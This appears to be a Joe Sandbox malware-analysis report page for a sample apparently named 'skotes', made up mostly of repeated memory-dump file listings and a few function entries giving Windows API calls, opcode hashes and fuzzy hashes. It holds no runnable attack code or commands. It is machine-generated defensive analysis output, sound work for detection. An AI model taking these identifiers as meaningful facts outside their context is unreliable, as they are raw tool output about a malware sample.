Associated: 00000007.00000002.2556287487.0000000000A02000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556340876.0000000000A04000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556389372.0000000000A05000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556440940.0000000000A08000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556494514.0000000000A11000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556554810.0000000000A13000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556612682.0000000000A14000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556663388.0000000000A17000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556719666.0000000000A18000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557160630.0000000000A1E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557223364.0000000000A26000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557279754.0000000000A2A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557340481.0000000000A2B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557400916.0000000000A2C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557498033.0000000000A2D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557532658.0000000000A33000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557625518.0000000000A42000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557663846.0000000000A43000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557724225.0000000000A64000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557771532.0000000000A66000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557771532.0000000000A71000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557869892.0000000000AA0000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557927163.0000000000AA1000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557987298.0000000000AA2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558043601.0000000000AA7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558093037.0000000000AA9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558137774.0000000000AB7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558209982.0000000000AB8000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7a0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 87763153916069d82931c391d22f04eb15dfae6900c8c914192f3b9d1d0d91f1
Instruction ID: c89d4399a0a63869789bda7954b3e82102c583a149d56a206bd7d51693d2eaa5
Opcode Fuzzy Hash: 87763153916069d82931c391d22f04eb15dfae6900c8c914192f3b9d1d0d91f1
Instruction Fuzzy Hash: EDE08621299200ABF65033A9EC86B2F715DDFD6702F210516E604C60D0CE6CA587C223

Function 007B6D00 Relevance: 3.0, APIs: 2, Instructions: 14sleepthreadCOMMON

Download Yara Rule

APIs

CreateThread.KERNEL32(00000000,00000000,Function_00016C70,00000000,00000000,00000000), ref: 007B6D11
Sleep.KERNEL32(00007530), ref: 007B6D25

Memory Dump Source

Source File: 00000007.00000002.2545510550.00000000007A1000.00000040.00000001.01000000.0000000B.sdmp, Offset: 007A0000, based on PE: true

Associated: 00000007.00000002.2545393869.00000000007A0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2545510550.0000000000802000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2546253105.0000000000809000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2546810224.000000000080B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2547561816.0000000000817000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2549354887.000000000096F000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2549416629.0000000000971000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2549910258.0000000000986000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2551067659.0000000000987000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2551120553.000000000098A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2551120553.0000000000991000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552236389.000000000099D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552329352.000000000099E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552387901.00000000009A5000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552439131.00000000009A6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552509965.00000000009AD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552564096.00000000009AE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554038312.00000000009B1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554164840.00000000009B3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554238457.00000000009C4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554297406.00000000009C5000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554333779.00000000009CD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554387078.00000000009D8000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554491229.00000000009F2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556055941.00000000009F3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556125455.00000000009FB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556183178.0000000000A01000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556287487.0000000000A02000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556340876.0000000000A04000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556389372.0000000000A05000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556440940.0000000000A08000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556494514.0000000000A11000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556554810.0000000000A13000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556612682.0000000000A14000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556663388.0000000000A17000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556719666.0000000000A18000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557160630.0000000000A1E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557223364.0000000000A26000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557279754.0000000000A2A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557340481.0000000000A2B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557400916.0000000000A2C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557498033.0000000000A2D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557532658.0000000000A33000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557625518.0000000000A42000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557663846.0000000000A43000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557724225.0000000000A64000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557771532.0000000000A66000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557771532.0000000000A71000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557869892.0000000000AA0000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557927163.0000000000AA1000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557987298.0000000000AA2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558043601.0000000000AA7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558093037.0000000000AA9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558137774.0000000000AB7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558209982.0000000000AB8000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7a0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateSleepThread
String ID:
API String ID: 4202482776-0
Opcode ID: 022168e076ed92eade11df00bf9d46aa38d52df6f3f4ed1abcfa610ea63c039d
Instruction ID: b9ad4eaad7e168477467facba370632163fb407fbbe5c9bb4df2ebf737861cdd
Opcode Fuzzy Hash: 022168e076ed92eade11df00bf9d46aa38d52df6f3f4ed1abcfa610ea63c039d
Instruction Fuzzy Hash: B0D04CB5BD5314B6F62057606C0BFB6AE119B0AF51F65584477493F1D186EC350087EC

Function 007A8380 Relevance: 1.7, APIs: 1, Instructions: 159COMMON

Download Yara Rule

APIs

GetNativeSystemInfo.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 007A8524

Memory Dump Source

Source File: 00000007.00000002.2545510550.00000000007A1000.00000040.00000001.01000000.0000000B.sdmp, Offset: 007A0000, based on PE: true

Associated: 00000007.00000002.2545393869.00000000007A0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2545510550.0000000000802000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2546253105.0000000000809000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2546810224.000000000080B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2547561816.0000000000817000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2549354887.000000000096F000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2549416629.0000000000971000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2549910258.0000000000986000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2551067659.0000000000987000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2551120553.000000000098A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2551120553.0000000000991000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552236389.000000000099D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552329352.000000000099E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552387901.00000000009A5000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552439131.00000000009A6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552509965.00000000009AD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552564096.00000000009AE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554038312.00000000009B1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554164840.00000000009B3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554238457.00000000009C4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554297406.00000000009C5000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554333779.00000000009CD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554387078.00000000009D8000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554491229.00000000009F2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556055941.00000000009F3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556125455.00000000009FB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556183178.0000000000A01000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556287487.0000000000A02000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556340876.0000000000A04000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556389372.0000000000A05000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556440940.0000000000A08000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556494514.0000000000A11000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556554810.0000000000A13000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556612682.0000000000A14000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556663388.0000000000A17000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556719666.0000000000A18000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557160630.0000000000A1E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557223364.0000000000A26000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557279754.0000000000A2A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557340481.0000000000A2B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557400916.0000000000A2C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557498033.0000000000A2D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557532658.0000000000A33000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557625518.0000000000A42000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557663846.0000000000A43000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557724225.0000000000A64000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557771532.0000000000A66000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557771532.0000000000A71000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557869892.0000000000AA0000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557927163.0000000000AA1000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557987298.0000000000AA2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558043601.0000000000AA7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558093037.0000000000AA9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558137774.0000000000AB7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558209982.0000000000AB8000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7a0000_skotes.jbxd

Yara matches

Similarity

API ID: InfoNativeSystem
String ID:
API String ID: 1721193555-0
Opcode ID: 36c3e027f0819562d79ccf39131c84420cea36a517d5163ee985aa36a5f5504d
Instruction ID: 197afec186607e7381d87e4d05f0f9959ae34ca4fdbf136d7fb52f1781571c69
Opcode Fuzzy Hash: 36c3e027f0819562d79ccf39131c84420cea36a517d5163ee985aa36a5f5504d
Instruction Fuzzy Hash: B4512870D00248DBDB68EF68CD497DDB775EB86314F504399E814A72C2EF389E808B92

Function 007A8B30 Relevance: 1.6, APIs: 1, Instructions: 140COMMON

Download Yara Rule

APIs

GetTempPathA.KERNEL32(00000104,?,749A099C,?,00000000), ref: 007A8B77

Memory Dump Source

Source File: 00000007.00000002.2545510550.00000000007A1000.00000040.00000001.01000000.0000000B.sdmp, Offset: 007A0000, based on PE: true

Associated: 00000007.00000002.2545393869.00000000007A0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2545510550.0000000000802000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2546253105.0000000000809000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2546810224.000000000080B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2547561816.0000000000817000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2549354887.000000000096F000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2549416629.0000000000971000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2549910258.0000000000986000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2551067659.0000000000987000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2551120553.000000000098A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2551120553.0000000000991000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552236389.000000000099D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552329352.000000000099E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552387901.00000000009A5000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552439131.00000000009A6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552509965.00000000009AD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552564096.00000000009AE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554038312.00000000009B1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554164840.00000000009B3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554238457.00000000009C4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554297406.00000000009C5000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554333779.00000000009CD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554387078.00000000009D8000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554491229.00000000009F2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556055941.00000000009F3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556125455.00000000009FB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556183178.0000000000A01000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556287487.0000000000A02000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556340876.0000000000A04000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556389372.0000000000A05000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556440940.0000000000A08000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556494514.0000000000A11000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556554810.0000000000A13000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556612682.0000000000A14000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556663388.0000000000A17000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556719666.0000000000A18000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557160630.0000000000A1E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557223364.0000000000A26000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557279754.0000000000A2A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557340481.0000000000A2B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557400916.0000000000A2C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557498033.0000000000A2D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557532658.0000000000A33000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557625518.0000000000A42000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557663846.0000000000A43000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557724225.0000000000A64000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557771532.0000000000A66000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557771532.0000000000A71000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557869892.0000000000AA0000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557927163.0000000000AA1000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557987298.0000000000AA2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558043601.0000000000AA7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558093037.0000000000AA9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558137774.0000000000AB7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558209982.0000000000AB8000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7a0000_skotes.jbxd

Yara matches

Similarity

API ID: PathTemp
String ID:
API String ID: 2920410445-0
Opcode ID: 749e09686ffb3ab77f9c355658d0fa3855070942a282cff02e48c5430fc68932
Instruction ID: ddc458051df9ec7286dd477fe0584589cb684b48db99db5f3fa4716ce80440ac
Opcode Fuzzy Hash: 749e09686ffb3ab77f9c355658d0fa3855070942a282cff02e48c5430fc68932
Instruction Fuzzy Hash: A351D471A011589BDB68DB28CC89BDDB775EB8A314F0082D9E409A73C2DB795F84CF91

Function 007D7124 Relevance: 1.6, APIs: 1, Instructions: 56timeCOMMON

Download Yara Rule

APIs

SystemTimeToTzSpecificLocalTime.KERNEL32(00000000,?,?,?,?,?,007D705B,?,?,00000000,00000000), ref: 007D7166

Memory Dump Source

Source File: 00000007.00000002.2545510550.00000000007A1000.00000040.00000001.01000000.0000000B.sdmp, Offset: 007A0000, based on PE: true

Associated: 00000007.00000002.2545393869.00000000007A0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2545510550.0000000000802000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2546253105.0000000000809000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2546810224.000000000080B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2547561816.0000000000817000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2549354887.000000000096F000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2549416629.0000000000971000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2549910258.0000000000986000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2551067659.0000000000987000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2551120553.000000000098A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2551120553.0000000000991000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552236389.000000000099D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552329352.000000000099E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552387901.00000000009A5000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552439131.00000000009A6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552509965.00000000009AD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552564096.00000000009AE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554038312.00000000009B1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554164840.00000000009B3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554238457.00000000009C4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554297406.00000000009C5000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554333779.00000000009CD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554387078.00000000009D8000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554491229.00000000009F2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556055941.00000000009F3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556125455.00000000009FB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556183178.0000000000A01000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556287487.0000000000A02000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556340876.0000000000A04000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556389372.0000000000A05000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556440940.0000000000A08000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556494514.0000000000A11000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556554810.0000000000A13000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556612682.0000000000A14000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556663388.0000000000A17000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556719666.0000000000A18000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557160630.0000000000A1E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557223364.0000000000A26000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557279754.0000000000A2A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557340481.0000000000A2B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557400916.0000000000A2C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557498033.0000000000A2D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557532658.0000000000A33000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557625518.0000000000A42000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557663846.0000000000A43000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557724225.0000000000A64000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557771532.0000000000A66000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557771532.0000000000A71000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557869892.0000000000AA0000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557927163.0000000000AA1000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557987298.0000000000AA2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558043601.0000000000AA7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558093037.0000000000AA9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558137774.0000000000AB7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558209982.0000000000AB8000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7a0000_skotes.jbxd

Yara matches

Similarity

API ID: Time$LocalSpecificSystem
String ID:
API String ID: 2574697306-0
